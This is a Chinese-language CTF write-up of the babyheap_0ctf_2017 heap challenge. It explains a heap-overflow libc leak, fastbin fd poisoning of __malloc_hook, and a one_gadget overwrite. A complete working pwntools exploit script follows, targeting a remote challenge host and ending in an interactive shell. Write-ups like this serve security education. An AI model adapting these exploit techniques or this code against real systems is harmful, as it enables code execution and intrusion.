Featured image of post CTF-user-pwn 堆漏洞做题日志 0x00 版

CTF-user-pwn 堆漏洞做题日志 0x00 版

在做题日志 0x00 版,存在部分谬误待修正,如有错误请指出。

babyheap_0ctf_2017

题目链接

这是我第一个堆漏洞题目,详细记录一下。

**所有的内存地址都是死的、不动的,所谓“加入 Allocate 区”**都是形象化表述。

发现这个题有个菜单,显然的堆漏洞题目,但是它的 fill 没有检查 chunk 大小,所以显然可以堆溢出。

首先泄露 libc 基址,因为可以堆溢出,所以我们可以通过 溢出 chunk_0 修改 chunk_1 的 size 值,使 chunk_1 和 chunk_2 表面上合并(Glibc 认为 chunk_1 是一个大小为 0xb0 的大块),这会使 chunk_1 被释放时带着 chunk_2 一起进 unsorted bins(双向链表,fd 指向 main_arena + 88)。

然而 free 函数是直接对着 chunk 的标号释放内存的,所以我们把 chunk_1 free 掉,这使 chunk_1 不可被打印,但是 chunk_2 是可以打印在 unsorted bins 的数据。

这时我们通过 allocate 在巨大的 chunk_1 上切割掉原本的 chunk_1 大小(复活 chunk_1),其 fd 指针刚好重写到原本 chunk_2 的 user_data 部分,这就可以打印出 chunk_2 的 fd 指针。

(注意:chunk_1 + chunk_2 至少要等于 0x80 防止掉入 fastbins,要设 chunk_3 防止掉到 TOP chunk)

main_arena+88 到 __malloc_hook 的偏移固定为 -0x68,而 __malloc_hook 是一个调试函数(glibc 2.34 之前),在执行 malloc 时,会先检测 __malloc_hook 的值,如果 __malloc_hook 的值存在,则执行该地址。

那么我们要把 __malloc_hook 移动到 Allocate 区,这疑似是一个模板,因为 __malloc_hook 在 -0x23 偏移区域附近有 0x7f 可以看作 0x70 的 size,所以可以通过先把 __malloc_hook 塞进 fastbins,然后再把它作为一个伪 chunk malloc 出来。

如何把它放到 fastbins 呢?fastbins 是单向链表,其 fd 指针指向了上一个被释放的 chunk,所以我们可以把 fastbins 的另一个块的 fd 篡改。

(注意:fd 指针在 user_data 区,所以要先把要篡改的 chunk 丢进 fastbins,再堆溢出篡改)

具体来讲,就是申请 chunk_4 和 chunk_5,把 chunk_5 释放丢进 fastbins,然后再 chunk_4 堆溢出,修改 chunk_5 的 fd 指针为 __malloc_hook - 0x23。

接着把 chunk_5 复活,这样 fastbins 就会把 fake fd 指向的 __malloc_hook - 0x23 加入 fastbins。

那么再申请一个 chunk_6 大小为 0x60,这样就会把 __malloc_hook 加入 Allocate 区。

(注意:malloc 要求 fd 指针有要求两个块大小差不多,所以 chunk_5 也要是 0x60 的大小)

最后依旧是固定偏移,__malloc_hook - 0x13 的位置放着其地址,上面填上 one_gagdet,最后 malloc 触发即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

host = "node5.buuoj.cn"
port = 28455
io = remote(host,port)
libc = ELF("./libc-2.23.so")
# io = process("./babyheap_0ctf_2017")

def Allocate(size):
    io.recvuntil(b"Command: ")
    io.sendline(b"1")
    io.recvuntil(b"Size: ")
    io.sendline(str(size))

def Fill(index,content):
    io.recvuntil(b"Command: ")
    io.sendline(b'2')
    io.recvuntil(b"Index: ")
    io.sendline(str(index))
    io.recvuntil(b"Size: ")
    io.sendline(str(len(content)))
    io.recvuntil(b"Content: ")
    io.send(content)

def Free(index):
    io.recvuntil(b"Command: ")
    io.sendline(b'3')
    io.recvuntil(b"Index: ")
    io.sendline(str(index))

def Dump(index):
    io.recvuntil(b"Command: ")
    io.sendline(b'4')
    io.recvuntil(b"Index: ")
    io.sendline(str(index))

def main():
    Allocate(0x10)  # index 0
    Allocate(0x10)  # index 1
    Allocate(0x80)  # index 2
    Allocate(0x10)  # index 3 : Guarder of top chunk
    payload_1 = b'A'*0x10 + p64(0) + p64(0xB1)
    Fill(0,payload_1)   # chunk_1 += chunk_2
    Free(1)
    Allocate(0x10)    # Index 1: chunk_1 reborn
    Dump(2)
    io.recvuntil(b"Content: \n")
    leak_data = io.recvn(8)
    leak_addr = u64(leak_data)
    print("\n[+] Leak main_arena+88 address :",hex(leak_addr))
    malloc_hook_addr = leak_addr - 0x68
    print("\n[+] Leak malloc hook address :",hex(malloc_hook_addr))
    libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
    print("\n[+] Leak libc base address :",hex(libc_base))
    Allocate(0x10)  # index 4
    Allocate(0x60)  # index 5
    Free(5)
    payload_2 = b'A'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook_addr - 0x23)
    Fill(4,payload_2)   
    Allocate(0x60)      # index 5 : chunk_5 reborn
    Allocate(0x60)      # index 6 : __malloc_hook into Allocate chunk
    one_gadget_offset = 0x4526a
    one_gadget = libc_base + one_gadget_offset
    print("\n[+] Leak one_gadget address :",hex(one_gadget))
    payload_3 = b'A'*0x13 + p64(one_gadget)
    Fill(6,payload_3)
    Allocate(256)
    io.interactive()

if __name__ == "__main__":
    main()